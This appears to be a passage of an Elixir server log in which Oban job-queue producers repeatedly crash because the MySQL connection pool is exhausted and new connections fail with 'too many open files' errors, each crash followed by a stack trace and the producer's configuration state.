State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:48:54.239175Z], limit: 10, uuid: "69472a1f-79fa-4e51-b57d-4f52a2c6738d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:48:54.239181Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.80354>, refresh_timer: #Reference<0.2525715032.1068498948.80329>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:49:06.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 824ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:48:54.237944Z], limit: 5, uuid: "43c0ca30-ea85-441b-a115-6683e78c2182", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:48:54.237951Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.80358>, refresh_timer: #Reference<0.2525715032.1077673987.56300>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:49:06.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 817ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:48:54.239201Z], limit: 50, uuid: "b3ee6d3a-0dfb-486b-9c40-b76291689bf2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:48:54.239207Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.80359>, refresh_timer: #Reference<0.2525715032.1077673987.56319>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:49:06.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1041ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:48:54.239615Z], limit: 5, uuid: "7102bc9c-e78d-476a-a910-afbbb4c17e13", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:48:54.239621Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.80357>, refresh_timer: #Reference<0.2525715032.1077673987.56321>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:49:07.278000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:49:12.564000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:49:12.622000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:49:14.952000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:49:18.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 886ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:49:06.239261Z], limit: 10, uuid: "a53aa52b-a2ca-47e0-84b7-3286fd683386", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:49:06.239267Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.80757>, refresh_timer: #Reference<0.2525715032.1099431938.69481>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:49:18.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1062ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:49:06.239753Z], limit: 5, uuid: "107e1752-97f6-4738-8143-1c4b52909654", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:49:06.239758Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.80753>, refresh_timer: #Reference<0.2525715032.1068498948.80715>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:49:18.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1029ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:49:06.239263Z], limit: 20, uuid: "f86a5e39-5de5-41b0-9f2a-efc77f118447", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:49:06.239269Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.80752>, refresh_timer: #Reference<0.2525715032.1068498948.80692>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:49:18.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1026ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:49:06.240165Z], limit: 50, uuid: "54deee9c-33fd-4154-86a4-28659343ca2a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:49:06.240171Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.80754>, refresh_timer: #Reference<0.2525715032.1068498948.80721>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:49:18.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 899ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:49:06.239320Z], limit: 3, uuid: "b1d58998-6181-49a3-9330-e0db45fb7a35", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:49:06.239324Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.80755>, refresh_timer: #Reference<0.2525715032.1068498948.80702>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:49:18.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 857ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
